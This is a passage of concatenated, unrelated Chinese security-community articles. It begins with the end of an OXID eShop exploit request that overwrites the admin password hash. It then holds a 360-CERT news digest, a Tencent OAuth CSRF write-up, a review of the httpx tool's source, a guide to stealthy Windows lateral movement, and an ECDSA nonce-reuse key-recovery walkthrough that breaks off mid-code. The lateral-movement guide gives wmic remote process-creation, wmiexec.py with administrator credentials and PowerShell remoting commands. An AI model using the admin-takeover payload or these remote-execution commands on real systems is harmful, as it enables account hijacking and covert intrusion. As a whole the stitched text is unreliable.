protected]&invadr[oxuser__oxpasssalt]=49a9a9a9a4fc191cba6cec03bb65bad3&invadr[oxuser__oxpassword]=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&user_password=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb
您可以检查数据库条目以验证是否成功地利用了漏洞。当然，您也可以登录OXID管理员后端（/admin）。
mysql> select oxid, oxusername from oxuser where oxid='oxdefaultadmin';
+----------------+----------------------+
| oxid | oxusername |
+----------------+----------------------+
| oxdefaultadmin | [email protected] |
+----------------+----------------------+
1 row in set (0.00 sec) | 社区文章 |
# 5月2日安全热点 - 杀毒软件之死：RSA 2018终端厂商及产品趋势解读
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
360-CERT 每日安全简讯 2018.05.02 周三
## 【Security Information|安全资讯】
1.杀毒软件之死：RSA 2018终端厂商及产品趋势解读
[ http://t.cn/RujJ2Ex](http://t.cn/RujJ2Ex)
2.中国警方逮捕了15名涉嫌开发绝地求生游戏外挂的团伙成员
<http://t.cn/RuYScKj>
3.北约网络防御中心迎来新成员：葡萄牙
<http://t.cn/RuYakwx>
4.谷歌、微软联名反对315法案：豁免企业“黑客行为”责任将引发网络战
<http://t.cn/RuYScCh>
5.推动“一带一路”工业信息安全合作的三大路径
[ http://t.cn/RuYSc0R](http://t.cn/RuYSc0R)
6.EU GDPR：金融机构需注意的GDPR要点分析
[ http://t.cn/RujJ2iY](http://t.cn/RujJ2iY)
## 【Security Research|安全研究】
1.深入研究如何探测Windows内核信息泄露
[ http://t.cn/RuYScOY](http://t.cn/RuYScOY)
2.Google Project Zero 关于分支预测攻击的研究分享
[ http://t.cn/RuNBGHg](http://t.cn/RuNBGHg)
3.Vault 7中泄露的RouterOs 漏洞从分析到利用
[ http://t.cn/RuYSclH](http://t.cn/RuYSclH)
4.Windows 内核利用系列教程Part8：Use After Free
[ http://t.cn/RuYScjT](http://t.cn/RuYScjT)
5.逆向工程基础Par3：linux上的ARM64
[ http://t.cn/RuYScYc](http://t.cn/RuYScYc)
6.绕过安卓反模拟，Part3
[ http://t.cn/RuXTaF2](http://t.cn/RuXTaF2)
7.获取Windows 哈希的指南——LM，NTLM，Net-NTLMv2
[ http://t.cn/RuYScHb](http://t.cn/RuYScHb)
8.滥用Android JIT 研究分享
[ http://t.cn/RuXTSv4](http://t.cn/RuXTSv4)
## 【Security Report|安全报告】
1.《看雪论坛精华14》及《看雪精华合集2018五一版》发布
[ http://t.cn/RuYScg7](http://t.cn/RuYScg7)
## 【Security Incident|安全事件】
1.超过一百万台GPON家庭路由器存在远程代码执行漏洞（CVE-2018-10561 & CVE-2018-10562）
[ http://t.cn/RujYZ1p](http://t.cn/RujYZ1p)
## 【Malware|恶意软件】
1.FacexWorm瞄准加密货币交易平台，通过滥用Facebook Messenger进行传播
[ http://t.cn/RulOYza](http://t.cn/RulOYza)
2.揭开神秘的面纱：CCleaner APT事件调查
[ http://t.cn/Ruj2Q2Q](http://t.cn/Ruj2Q2Q)
3.C#勒索软件可在运行时编译
[ http://t.cn/RuYGb7n](http://t.cn/RuYGb7n)
4.朝鲜反病毒软件SiliVaccine分析，疑似抄袭趋势科技引擎代码，并捆绑恶意软件
[ http://t.cn/RuYScsu](http://t.cn/RuYScsu)
## 【Vulnerability|漏洞】
1.7-Zip：从未初始化内存到远程执行代码（CVE-2018-10115
[ http://t.cn/RuYSVhh](http://t.cn/RuYSVhh)
2.在Ethereum智能合约中检测到batchOverflow漏洞
[ http://t.cn/RuYSV7z](http://t.cn/RuYSV7z)
3.WatchGuard AP100 AP102 AP200存在多个漏洞，可导致远程代码执行
[ http://t.cn/RuYKxNV](http://t.cn/RuYKxNV)
## 【Security Tools|安全工具】
1.Bad-Pdf：通过Windows机器中的PDF来窃取NTLM哈希
[ http://t.cn/RuYSVzJ](http://t.cn/RuYSVzJ)
2.RedHunt操作系统：用于仿真和捕获威胁的虚拟机
[ http://t.cn/RuYSVw2](http://t.cn/RuYSVw2)
3.WinPwnage：绕过UAC，提权，Dll挟持等一些Python脚本集合
[ http://t.cn/RuYSVAS](http://t.cn/RuYSVAS)
4.injectify：使你可以轻松在网站上执行高级的MiTM攻击
[ http://t.cn/R8Ii5fy](http://t.cn/R8Ii5fy)
【以上信息整理于 <https://cert.360.cn/daily> 】
**360CERT全称“360 Computer Emergency Readiness
Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。**
**微信公众号：360cert** | 社区文章 |
# 记一次腾讯SDK源代码审计后的CSRF攻击
##### 译文声明
本文是翻译文章，文章原作者 呆哥@ChaMd5，文章来源： ChaMd5安全团队
原文地址：<http://mp.weixin.qq.com/s/fiTejXSF5Mlm-a0KqvWCQw>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
初进ChaMd5安全团队，应M姐姐之邀写下这篇技术文章，这篇文章主要讲述本人近期代码审计腾讯的第三方登录SDK包时发现的一个漏洞，阅读这篇文章需要读者对OAuth2.0协议的原理和应用特别熟悉，如果读者对此不了解，请参考以下链接：
OAuth2.0协议RFC 文档：
<https://tools.ietf.org/html/rfc6749>
QQ开放平台的接入说明：
<http://wiki.connect.qq.com/oauth2-0%e7%ae%80%e4%bb%8b>
这是我之前写的一篇分析OAuth2.0协议安全性的文章：
<https://www.anquanke.com/post/id/98392>
## 0x01 攻击模型分析
我在这篇文章里讲的这种攻击方法是针对OAuth协议的一种CSRF攻击，大家都知道，很多网站都有绑定第三方账号的功能，这种攻击手段就是利用了网站的这种功能，为了深入分析漏洞，我先把绑定第三方账号的流程分析一下：
Step 1：某妹子使用账户密码登录XX网站
Step 2：妹子选择绑定QQ账户，在输入凭证信息后，QQ返回如下形式的链接：
<http://xx.com/Index.php?Code=XXX>
Step 3: 妹子访问上述链接，服务器接收到code参数，进行验证后与当前用户绑定。
为了说明这种攻击方法，我从2012年全国网络与信息安全峰会上知道创宇的一位大佬的PPT里借用一张图：
这种攻击方式看似复杂其实说起来也很简单，主要的问题出现在了上图的第四步中，即攻击者构造链接http://xx.com/Index.php?Code=XXX，其中Code参数绑定的是攻击者的QQ账户，然后发给Victim诱骗点击（CSRF），Victim点击之后，他的账户就与攻击者的QQ账户绑定了，这样攻击者就能通过其QQ登录Victim的账户，实现用户劫持！
当然了，为了防止这种攻击，腾讯在返回的授权登录链接中增加了一个state参数用于防止类似的CSRF攻击。用户在请求使用QQ登录的时候会生成一个与session绑定的不可预测字符串state，并把这个参数发送给授权服务器，授权服务器验证完用户身份后会返回如下形式的链接：
http://xx.com/Index.php?Code=XXX&state=XXX
在接收到此链接时，xx.com会先检测当前session中的state参数和收到的链接中的state参数是否匹配，如果匹配才会进行下一步的操作。这样的话，即使攻击者把自己的授权链接发给Victim，也会因为state验证失败而无法绑定攻击者的账户（攻击者无法预测Victim的session中的state参数，因此就无法构造恶意链接来进行CSRF攻击）。
## 0x02 漏洞分析
在详细了解了攻击原理之后，我们来剖析一下QQ登录的官方SDK文件。
这里我们废话不多说，直接定位到核心类文件Oauth.class.php
在这个类文件中qq_login方法用于第一步生成state参数并跳转到QQ授权登录接口，可以看到state参数在第36行生成并紧接着调用recorder类的write方法写入到session中，跟进recorder类继续分析：
定位到32行，write方法是把传入的值写到self::$data中，在看到26行，构造函数中self::$data被初始化为一个空数组。
在最后的析构函数中self::$data被存入到session中，这里看上去没有什么大问题，继续向下分析，我们找到Oauth.class.php中的qq_callback方法：
qq_callback方法用于验证state参数并利用传入的code参数获得access_token，我们主要关注state参数的验证阶段，在第57行我们看到有一个if条件判断当前session中的state参数（$state）和链接中传入的state参数（$_GET[‘state’]）是否匹配，如果不匹配则直接调用showError方法die掉：
但是，问题就出现在这里！之前我们已经分析到，state参数在qq_login方法中生成，但是如果Victim没有调用这个方法，self::$data就会被构造函数初始化为一个空数组，再来看一下recorder类中的read方法：
如果self::$data为空则返回null，因此这里存在一个很明显的逻辑缺陷，只要攻击者把恶意链接的state参数留为空，这时$_GET[‘state’]为空值，$state也为空值，if($_GET[‘state’]
!= $state)为false，这样就可以完美的躲过CSRF检测，嘿嘿！
## 0x03 后记
这个漏洞从确认到修复只用了三个小时的时间，腾讯SRC的响应速度也是非常惊人。
在最新版的SDK文件中，在验证state时会先判断当前的session中是否保存有state参数，即判断当前用户是否调用过qq_login方法，这样就可以成功的阻止类似的CSRF攻击了： | 社区文章 |
> httpx is a fast and multi-purpose HTTP toolkit allows to run multiple
> probers using retryablehttp library, it is designed to maintain the result
> reliability with increased threads.
httpx是一个多功能的http请求工具包，通常可以用它来批量探测资产的一些基本信息。
源码地址：<https://github.com/projectdiscovery/httpx>
支持的探针有
通常情况下，实现一个类似的工具是很容易的，如果用python来写
import requests
url = "https://x.hacking8.com"
r = requests.get(url)
resp = r.text
status_code = r.status_code
就可以获得大部分探针的信息，但要做成一个工程化的软件，就要考虑更多问题。
如何处理并发，如何加快请求速度，如何进行原生http请求以适应更多探针，以及如何工程化的组织go的源码框架，看了httpx的源码，这些都挺有收获的，所以写一篇源码记录。
## 基础结构
源码目录
.
├── cmd
│ └── httpx # 程序编译目录
├── common # 公共函数
│ ├── customheader # 自定义header的一些处理
│ ├── customports # 自定义端口的处理
│ ├── fileutil # 文件处理
│ ├── httputilz # http处理
│ ├── httpx # 一些探针
│ ├── iputil # ip处理
│ ├── slice # go切片处理
│ └── stringz # string函数
├── internal # 运行处理主目录
│ └── runner
├── scripts # 不重要
└── static # 不重要
`cmd/httpx/httpx.go`是整个程序的主入口，流程一目了然，先解析命令，做初始化操作，按照命令运行，最后关闭。
package main
import (
"github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/httpx/internal/runner"
)
func main() {
// 解析参数
options := runner.ParseOptions()
// 启动，初始化工作
run, err := runner.New(options)
if err != nil {
gologger.Fatalf("Could not create runner: %s\n", err)
}
// 运行
run.RunEnumeration()
// 关闭
run.Close()
}
## Go的并发处理
在http的请求中，最好对go协程的并发做一些限制，类似于`线程池`的概念。
httpx使用了`https://github.com/remeh/sizedwaitgroup`的库
使用也很简单，初始化时定义协程的数量，初始化之后，在要使用协程之前`wg.Add()`,使用协程后`wg.Done()`代表结束即可。
以上只是对协程数做了限制，如果还想对 **每秒并行的协程数量**
做限制，可以参考projectdiscover另一个项目`nuclei`，它在使用了`sizedwaitgroup`的基础上，还使用了`go.uber.org/ratelimit`
使用更加简单
package main
import (
"fmt"
"time"
"go.uber.org/ratelimit"
)
func main() {
rl := ratelimit.New(1) // per second
prev := time.Now()
for i := 0; i < 10; i++ {
now := rl.Take() // 重点是它
if i > 0 {
fmt.Println(i, now.Sub(prev))
}
prev = now
}
}
初始化后在协程中调用`Take()`方法即可。
## 探针
httpx支持了很多基于http的基础探针，看几个有意思的。
探针的实现大部分在`common/httpx`目录。
### Cdn check
`common/httpx/cdn.go`
在以前看`naabu`时也看到过 <https://x.hacking8.com/post-406.html>
> 顾名思义是检测是否是CDN，跟踪一下，发现cdn检查调用的是`github.com/projectdiscovery/cdncheck`中的项目。
>
> 主要是通过接口获取一些CDN的ip段，判断ip是否在这些ip段中
### CSP
`common/httpx/csp.go`
主要是获取header中的响应头
// CSPHeaders is an incomplete list of most common CSP headers
var CSPHeaders []string = []string{
"Content-Security-Policy", // standard
"Content-Security-Policy-Report-Only", // standard
"X-Content-Security-Policy-Report-Only", // non - standard
"X-Webkit-Csp-Report-Only", // non - standard
}
### HTTP2.0
httpx支持`http2.0`的探针
httpx.client2 = &http.Client{
Transport: &http2.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
AllowHTTP: true,
},
Timeout: httpx.Options.Timeout,
}
### Pipeline 探针
http 1.1支持管道传输，例如在一个数据包中发送这样的包
GET / HTTP/1.1
HOST: 127.0.0.1
GET / HTTP/1.1
HOST: 127.0.0.1
GET / HTTP/1.1
HOST: 127.0.0.1
检测最后的返回是否合法。
package httpx
import (
"crypto/tls"
"fmt"
"net"
"strings"
"time"
)
// SupportPipeline checks if the target host supports HTTP1.1 pipelining by sending x probes
// and reading back responses expecting at least 2 with HTTP/1.1 or HTTP/1.0
func (h *HTTPX) SupportPipeline(protocol, method, host string, port int) bool {
addr := host
if port == 0 {
port = 80
if protocol == "https" {
port = 443
}
}
if port > 0 {
addr = fmt.Sprintf("%s:%d", host, port)
}
// dummy method while awaiting for full rawhttp implementation
dummyReq := fmt.Sprintf("%s / HTTP/1.1\nHost: %s\n\n", method, addr)
conn, err := pipelineDial(protocol, addr)
if err != nil {
return false
}
// send some probes
nprobes := 10
for i := 0; i < nprobes; i++ {
if _, err = conn.Write([]byte(dummyReq)); err != nil {
return false
}
}
gotReplies := 0
reply := make([]byte, 1024)
for i := 0; i < nprobes; i++ {
err := conn.SetReadDeadline(time.Now().Add(1 * time.Second))
if err != nil {
return false
}
if _, err := conn.Read(reply); err != nil {
break
}
// The check is very naive, but it works most of the times
for _, s := range strings.Split(string(reply), "\n\n") {
if strings.Contains(s, "HTTP/1.1") || strings.Contains(s, "HTTP/1.0") {
gotReplies++
}
}
}
// expect at least 2 replies
return gotReplies >= 2
}
func pipelineDial(protocol, addr string) (net.Conn, error) {
// http
if protocol == "http" {
return net.Dial("tcp", addr)
}
// https
return tls.Dial("tcp", addr, &tls.Config{InsecureSkipVerify: true})
}
### Title
httpx里面的title单独对中文编码做了优化
但是不太完美，只对返回头的`Content-Type`做了判断，但有的网站是从html的`met`a中定义编码的，有兴趣的老哥可以去提个pr。
### HTTP 证书信息
go内置的网络库已经把tls信息获取并解析了，直接获取即可。
package httpx
import (
"net/http"
)
// TLSData contains the relevant Transport Layer Security information
type TLSData struct {
DNSNames []string `json:"dns_names,omitempty"`
Emails []string `json:"emails,omitempty"`
CommonName []string `json:"common_name,omitempty"`
Organization []string `json:"organization,omitempty"`
IssuerCommonName []string `json:"issuer_common_name,omitempty"`
IssuerOrg []string `json:"issuer_organization,omitempty"`
}
// TLSGrab fills the TLSData
func (h *HTTPX) TLSGrab(r *http.Response) *TLSData {
if r.TLS != nil {
var tlsdata TLSData
for _, certificate := range r.TLS.PeerCertificates {
tlsdata.DNSNames = append(tlsdata.DNSNames, certificate.DNSNames...)
tlsdata.Emails = append(tlsdata.Emails, certificate.EmailAddresses...)
tlsdata.CommonName = append(tlsdata.CommonName, certificate.Subject.CommonName)
tlsdata.Organization = append(tlsdata.Organization, certificate.Subject.Organization...)
tlsdata.IssuerOrg = append(tlsdata.IssuerOrg, certificate.Issuer.Organization...)
tlsdata.IssuerCommonName = append(tlsdata.IssuerCommonName, certificate.Issuer.CommonName)
}
return &tlsdata
}
return nil
}
### 检测virtualhost
检测是否是虚拟主机，方法很简单，将host换成一个随机值，和原来的返回进行比对，不一样则为虚拟主机。
比对的方法有很多，状态码，长度，单词数，行数，文本相似度对比等等。
package httpx
import (
"fmt"
"github.com/hbakhtiyor/strsim"
retryablehttp "github.com/projectdiscovery/retryablehttp-go"
"github.com/rs/xid"
)
const simMultiplier = 100
// IsVirtualHost checks if the target endpoint is a virtual host
func (h *HTTPX) IsVirtualHost(req *retryablehttp.Request) (bool, error) {
httpresp1, err := h.Do(req)
if err != nil {
return false, err
}
// request a non-existing endpoint
req.Host = fmt.Sprintf("%s.%s", xid.New().String(), req.Host)
httpresp2, err := h.Do(req)
if err != nil {
return false, err
}
// Status Code
// 比对状态码，不相同则返回True
if !h.Options.VHostIgnoreStatusCode && httpresp1.StatusCode != httpresp2.StatusCode {
return true, nil
}
// Content - Bytes Length
// 比对content，不等则返回True
if !h.Options.VHostIgnoreContentLength && httpresp1.ContentLength != httpresp2.ContentLength {
return true, nil
}
// Content - Number of words (space separated)
// 比对单词数量，不等则返回True
if !h.Options.VHostIgnoreNumberOfWords && httpresp1.Words != httpresp2.Words {
return true, nil
}
// Content - Number of lines (newline separated)
// 比对行数
if !h.Options.VHostIgnoreNumberOfLines && httpresp1.Lines != httpresp2.Lines {
return true, nil
}
// Similarity Ratio - if similarity is under threshold we consider it a valid vHost
// 文本相似度对比
if int(strsim.Compare(httpresp1.Raw, httpresp2.Raw)*simMultiplier) <= h.Options.VHostSimilarityRatio {
return true, nil
}
return false, nil
}
## 不为人知的优化
### autofdmax
// automatic fd max increase if running as root
_ "github.com/projectdiscovery/fdmax/autofdmax
之前看`naabu`时也说过哦
> 大多数类UNIX操作系统（包括Linux和macOS）在每个进程和每个用户的基础上提供了系统资源的限制和控制（如线程，文件和网络连接）的方法。
> 这些“ulimits”阻止单个用户使用太多系统资源。
这个库的作用是自动将限制调到最大。
### dns缓存
httpx调用了`github.com/projectdiscovery/fastdialer/fastdialer`
会缓存dns记录(文件式)，加快请求速度
### http/https的识别转换
httpx默认会请求http/https两种协议，默认先请求https，如果失败了会再请求http，这样就能识别出使用了http还是https了。
在`internal/runner/runner.go`
## 识别指纹
之前给httpx提交过一个pr，基于wappalyzer的指纹。
PR详情: <https://github.com/projectdiscovery/httpx/pull/205>
若干天后，projectdiscover官方自己实现了一个这个库的，并作为go包的形式调用了。<https://github.com/projectdiscovery/wappalyzergo>
最新版已经可以使用，使用命令
-tech-detect
chaos -d hackerone.com -silent | ./httpx -tech-detect
__ __ __ _ __
/ /_ / /_/ /_____ | |/ /
/ __ \/ __/ __/ __ \| /
/ / / / /_/ /_/ /_/ / |
/_/ /_/\__/\__/ .___/_/|_|
/_/ v1.0.4-dev
projectdiscovery.io
Use with caution. You are responsible for your actions
Developers assume no liability and are not responsible for any misuse or damage.
https://mta-sts.hackerone.com [GitHub Pages,Ruby on Rails,Varnish]
https://mta-sts.managed.hackerone.com [Ruby on Rails,Varnish,GitHub Pages]
https://mta-sts.forwarding.hackerone.com [Varnish,GitHub Pages,Ruby on Rails]
https://www.hackerone.com [Varnish,Amazon EC2,Cloudflare,React,Drupal,PHP,Acquia Cloud Platform,Apache,Percona]
https://api.hackerone.com [Cloudflare,jsDelivr]
https://resources.hackerone.com
https://support.hackerone.com [Cloudflare]
https://docs.hackerone.com [jsDelivr,React,Gatsby,webpack,Varnish,GitHub Pages,Ruby on Rails]
## 可以学习的
### 结合GitHub action的自动编译发布
实现打个tag，github就自动帮你编译发布，在开源软件中还是比较方便的
新建`.github/workflows`目录，新建`release.yml`
name: Release
on:
create:
tags:
- v*
jobs:
release:
runs-on: ubuntu-latest
steps:
-
name: "Check out code"
uses: actions/checkout@v2
with:
fetch-depth: 0
-
name: "Set up Go"
uses: actions/setup-go@v2
with:
go-version: 1.14
-
env:
GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
name: "Create release on GitHub"
uses: goreleaser/goreleaser-action@v2
with:
args: "release --rm-dist"
version: latest
编译分为三步，第一步签出代码，第二部安装go环境，第三部使用`goreleaser/goreleaser-action`编译上传。
说下第三步，在根目录新建`.goreleaser.yml`文件，文件内容用于配制编译以及上传选项，httpx的配置如下
builds:
- binary: httpx
main: cmd/httpx/httpx.go
goos:
- linux
- windows
- darwin
goarch:
- amd64
- 386
- arm
- arm64
archives:
- id: tgz
format: tar.gz
replacements:
darwin: macOS
format_overrides:
- goos: windows
format: zip
具体字段的介绍可查看：<https://goreleaser.com/intro/>
## 最后
projectdiscover为资产探测/收集造了很多go的基础轮子，用起来很方便，如果想学习go&&写扫描器，这个项目真是非常好的学习资料。 | 社区文章 |
# 【技术分享】丢掉PSEXEC来横向渗透
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **qingxp9**](http://bobao.360.cn/member/contribute?uid=46273947)
**稿费：300RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**0\. 前言**
在渗透测试时，很多人还是在使用PSEXEC类工具。PSEXEC类的工具有各种语言的实现，如Metasploit的psexec
psexec_psh，Impacket psexec，pth-winexe，Empire Invoke-Psexec，最早Sysinternals公司pstools工具包当中的psexec。
这些工具都非常出色，但经过这么多年的发展，在各种防御软件环境下psexec类工具很多时候已经无法开展渗透测试工作。
在win下要想执行命令有几种方法:
IPC上传at&schtasks远程执行
PSEXEC 这也是用的最多，但是会留下痕迹
WMI 最安全方法，没有任何知觉，所有window系统启用服务，但防火墙开启将会无法连接
PsRemoting posershel远程执行命令
**1\. PSEXEC**
**PSEXEC执行原理**
通过ipc$连接，然后释放psexesvc.exe到目标机器。
通过服务管理SCManager远程创建psexecsvc服务，并启动服务。
客户端连接执行命令，服务端启动相应的程序并执行回显数据。
这里描述的是Sysinternals中的psexec，不过MSF、Impacket、pth 工具中的psexec用的都是同种思路。
**为什么丢弃PSEXEC**
psexec类工具会释放文件，特征明显，专业的杀毒软件都能检测到。
需要安装服务，会留下日志，并且退出时偶尔会出现服务不能删除的情况。
需要开启admin$ 445端口共享。
在事后攻击溯源时，调查人员会通过日志信息来推测出你的攻击过程。但是它的优点在于，能直接给我们提供目标主机的system权限。
**2\. 使用WMI来执行命令**
WMI 的全称是 Windows Management Instrumentation，它出现在所有的 Windows
操作系统中，由一组强大的工具集合组成，用于管理本地或远程的 Windows
系统。当攻击者使用wmiexec来进行攻击时，Windows系统默认不会在日志中记录这些操作，这意味着可以做到攻击无日志，同时攻击脚本无需写入到磁盘，具有极高的隐蔽性。越来越多的APT事件中也出现了WMI攻击的影子，利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。
最开始我不太喜欢WMI，因为通过WMI执行的命令是没有回显的，这会带来很大的不便。不过在HES2014上有研究者提出了回显的思路，加上psexec类的攻击已被很多的杀软查杀，研究下WMI攻击还是很有必要的。
[《WMI SHELL》 – new way to get shells on remote Windows machines using only the
WMI
service](http://2014.hackitoergosum.org/slides/day1_WMI_Shell_Andrei_Dumitrescu.pdf)
常见的WMI攻击工具有这些
PTH-WMIS (最早wmi攻击的工具，单条命令执行，无回显，需要pth-smbget配合读取结果)
impackets wmiexec(Linux跨window经常用)
wmiexec.vbs (国人制造 为了回显会写文件)
Invoke-WmiCommand&Invoke-PowerShellWmi
window本地的测试工具wmic默认情况下是无法得到回显的，显然这不是我们想要的
wmic /node:192.168.38.137 /user:administrator /password:123456 process call create cmd.exe
使用wmiexec.vbs执行命令测试。
使用impackets wmiexec执行命令测试，执行命令可以回显。在Linux跨window渗透时候经常使用。
wmiexec.py administrator:[email protected]
**3\. 使用PsRemoting来执行命令**
PowerShell远程命令执行基于WinRM。WinRM指的是Windows远程管理服务，它会监听HTTP(5985)、HTTPS(5986)，不过此服务除了Windows
Server
2012及R2默认启用外，其他默认都是禁用的。管理员为了方便对服务器的远程管理，也许将此端口开启，这种事就像内网弱口令一样，做渗透嘛，什么奇迹都有可能发生。
利用PowerShell渗透可以绕过杀软、绕过白名单防护设备，并且还可以得到返回的数据，简直是杀人越货神器。但由于默认禁用的原因，在内网渗透测试时，我暂时还未使用过这种技术。
Enter-PSSession 192.168.38.137 -Credential administrator
**4\. 总结**
其实说了这么多，在内网渗透的时候更推荐使用WMI。WMI的好处有很多，但WMI也不是万能的，还是需要根据具体的网络环境来调整渗透手法，渗透测试过程中要牢记擦掉自己痕迹，不使用ARP等动静特别大攻击手法。
对于不知道psexec执行会留下什么痕迹的同学可以看看
<http://bobao.360.cn/learning/detail/3186.html>。昨天刚和同事讨论研究完psexec的执行过程后便发现这篇文章，但是它没有讲清其执行原理。 | 社区文章 |
# 前言
这篇文章应该算是capture the ether中Account Takeover那道题的题解，题目链接如下
> <https://capturetheether.com/challenges/accounts/account-takeover/>
给出的意思很明确，就是要你找到指定的以太坊地址的私钥，这当时确实是把我难倒了，我们知道以太坊使用的密钥的生成算法是ECC椭圆曲线加密算法，只知道公钥你是没办法得到私钥的，同时私钥空间大小为2^256，爆破也是不可能的，跑一辈子也跑不出来，那么显然这里肯定是有其他的办法，首先肯定是从该地址下的交易入手,像下面这些
我看的时候该地址下已经有了五六十笔交易，有进有出，内容也是乱七八糟，只能说太菜了，当时确实没看出啥门道，还以为这是道社工题，也就没有再深究，搁置了下来
不过后来有师傅给我留言说这里要利用密码学知识来还原私钥，这就涉及到知识盲区了，赶紧去学习一波，该题目在reddit的讨论贴在此，[传送门](https://www.reddit.com/r/capturetheether/comments/8hufhn/about_publickeychallenge_and),我也是在这终于拿到了题目的思路
# 题目分析
现在我们重新来看这道题
## 突破口
按照在讨论贴里这一系列挑战的作者smarx大佬所言，这题是跟社工没有任何关系的，该地址下仅有一开始时的两个交易是来自于他，其他的都是玩家的交易，显然突破口就在于此，下面就是涉及的那两个交易
看起来没什么特别的，二者主要也就是发送的ether不同，data里也没有什么东西，不过没关系，我们再来看看它们两的签名信息
就如我所标注的，这两笔交易最特别的地方在于它们的签名信息中r值是相同的，如果你对ECDSA签名有够熟悉的话那么你就能意识到这里是存在大问题的，这意味着这两笔交易使用了相同的随机数k，而通过这我们就能利用这两笔交易的信息来还原出私钥
## ECDSA签名
从名字上看ECDSA签名算法也就是ECC与DSA的组合，也就是椭圆曲线签名算法，因为椭圆曲线密码的单位比特强度要高于其他的公钥密码体系，所以在同样的短密钥条件下，基于ECC的系统的安全体系更高，因此它受到了区块链技术的青睐，这样的话密钥较短，运算速度也就更快，相应的也就能提高区块链的性能，比特币和以太坊都是使用ECDSA作为签名算法
我们知道ECC密码机制是基于如下的曲线
> y ^ 2 =（x ^ 3 + a * x + b）mod p
而我们要进行签名就得知道我们所使用的曲线的参数，一般而言所需的参数组即(p, a, b, G, n, h）
参数组中p是一个非常大的质数，可以表示曲线上点的范围，a，b即曲线上的参数a与b，G 是该椭圆曲线上点倍积的基点，可以看作是一个参考点，n
是基点G的可倍积阶数，定义为能够使得点倍积n*G
不存在的最小的整数n，h是个常数，一般定义为1，有了这些我们就可以确定我们所使用的椭圆曲线算法了，也意味着我们能够用这些进行签名了
签名的过程就要用到我们的公钥与私钥了，当然，在以太坊中这也就代表着我们的账户，我们的账户地址正是截取了公钥hash的一部分得到的，假设我们的私钥为dA而公钥为QA，QA=dA*G，接下来就是签名的过程
假设要签名的消息为m
1. 取 e = HASH(m)
2. 取e的左边的Ln个bit长度的值为z，Ln即为前面提到的参数里n的比特长度
3. 从 [1, n-1]范围内，随机选择一个整数k
4. 利用k得到椭圆曲线上的一点 （x1，y1）=k * G
5. 然后计算下面的式子的值，取其为r，如果如果r为0则返回步骤3重新选择k
r = x1 mod n
6. 计算下式的值，取其为s，如果s为0则返回步骤3重新选择k
s = k^-1(z + r * dA) mod n
注意此处的k^-1表示的是一个模反元素，它使得（k^-1 * k）mod p =1
7. 得到的数字签名即为(r，s)
下面我们再简单说说验证签名
我们取点P（Xp,Yp)
P = s ^ -1 * z * G + s ^ -1 * r * QA
如果得到的Xp等于r，则签名有效，否则无效，下面是简单的证明
P = s ^ -1 * z * G + s ^ -1 * r * QA
因为QA=dA*G，故有
P = s ^ -1 * z * G + s ^ -1 * R * dA * G = s ^ -1（z + dA * R）* G
因为Xp要等于r，而r其实是K*G得到的x1，此处可以转换为
k * G = s ^ -1（z + dA * R）* G.
简化得到 k = s ^ -1（z + dA * r）
将上式的k与s反转即可得到 s = k ^ -1（z + dA *
r），其实也就是我们前面进行签名使用的式子，看起来还是挺奇妙的，生成签名时我们使用了私钥dA与随机数k，验证签名时我们使用的则是公钥QA与签名s
## 利用冲突的随机数恢复私钥
从上面的签名过程我们可以看到最关键的地方就在于随机数k，对于一个固定的椭圆曲线，一个确定的k就意味着一个确定的r，所以如果有两个相同的私钥签署的签名出现了相同的r就代表着在生成随机数时取到了相同的k，看到这里想必你也明白了我们题目的交易签名的问题出在哪了，这两笔交易的r值相同，代表在它们签名时使用的随机数k是相同的，而这就是我们恢复私钥的关键
我们不妨设这两个签名的z与s分别为z1，z2与s1，s2
则有
s1-s2= k ^ -1（z1 + dA * r）-k ^ -1（z2+ dA * r）
= k ^ -1（z + dA * r-z2-dA * r）
= k ^ -1（z1 - z2）
所以有 k = （z1-z2)/(s1-s2)
既然知道了k，那么私钥dA我们也能直接计算了
dA =（s * k-z）/ r
这也是ECDSA签名算法的一个特性，所以它的安全性一定程度上也依赖于一个安全的随机数生成器，历史上因为k的冲突也导致了不少的安全问题，在2010年索尼的ps3游戏机所采用的ECDSA签名算法就被爆出使用的一直是同样的k，这意味着你随便找到一个私钥签署的两个签名就能恢复出该私钥，可以说是非常可怕了，这一情况在此报告中也有介绍，[传送门](https://events.ccc.de/congress/2010/Fahrplan/attachments/1780_27c3_console_hacking_2010.pdf)
另外影响比较大的就是13年时爆出java的一个随机数生成器存在问题可能产生冲突的k值，这在当时导致了一些比特币钱包的私钥被黑客所恢复，从而造成损失，这其实也就是我们今天所面临的挑战，这一情况在[这篇文章](http://www.nilsschneider.net/2013/01/28/recovering-bitcoin-private-keys.html)中也有介绍，感觉很多人也是从这意识到了这种问题的危害性
## 动手操作
下面我们来完成这一挑战，首先我们要明确目标，从前面我们知道了要恢复私钥我们需要两笔交易的s与z值，s值直接就在签名里面，我们要取得的是z，从签名的过程我们可以看出z其实就是对要签名的消息取的hash值，这里我使用nodejs的[ethereumjs-tx](https://github.com/ethereumjs/ethereumjs-tx)库来模拟对交易的签名过程，将我们前面得到的交易信息进行hash
const EthereumTx = require('ethereumjs-tx');
var rawTx1 =
{ nonce: 0,
gasPrice: '0x3b9aca00',
gasLimit: '0x5208',
to: '0x92b28647ae1f3264661f72fb2eb9625a89d88a31',
value: '0x1111d67bb1bb0000',
data: '0x',
v: 41,
